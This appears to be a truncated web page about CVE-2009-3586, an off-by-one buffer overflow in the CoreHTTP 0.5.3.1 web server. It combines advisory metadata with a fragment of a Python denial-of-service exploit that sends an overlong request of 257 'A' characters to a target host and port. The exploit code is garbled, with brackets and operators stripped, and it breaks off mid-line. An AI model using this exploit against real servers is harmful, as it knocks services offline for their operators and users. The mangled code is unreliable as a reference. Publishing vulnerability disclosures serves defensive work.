CVE-2009-3586: CoreHTTP web server off-by-one buffer overflow vulnerability

census ID: census-2009-0003 URL: http://census-labs.com/news/2009/12/02/corehttp-web-server/ CVE ID: CVE-2009-3586 Affected Products: CoreHTTP web server versions = 0.5.3.1. Class: Improper Input Validation CWE-20, Failure to Constrain Operations within the Bounds of a Memory Buffer CWE-119 Remot...

CoreHTTP 0.5.3.1 Buffer Overflow

!/usr/bin/env python corex.py -- Patroklos Argyroudis, argp at domain census-labs.com Denial of service exploit for CoreHTTP web server version " % argv0 sys.exit0 host = argv1 port = intargv2 print " target: %s:%d" % host, port payload = "A" 257 + "/index.html HTTP/1.1\r\n\r\n" print " payload:...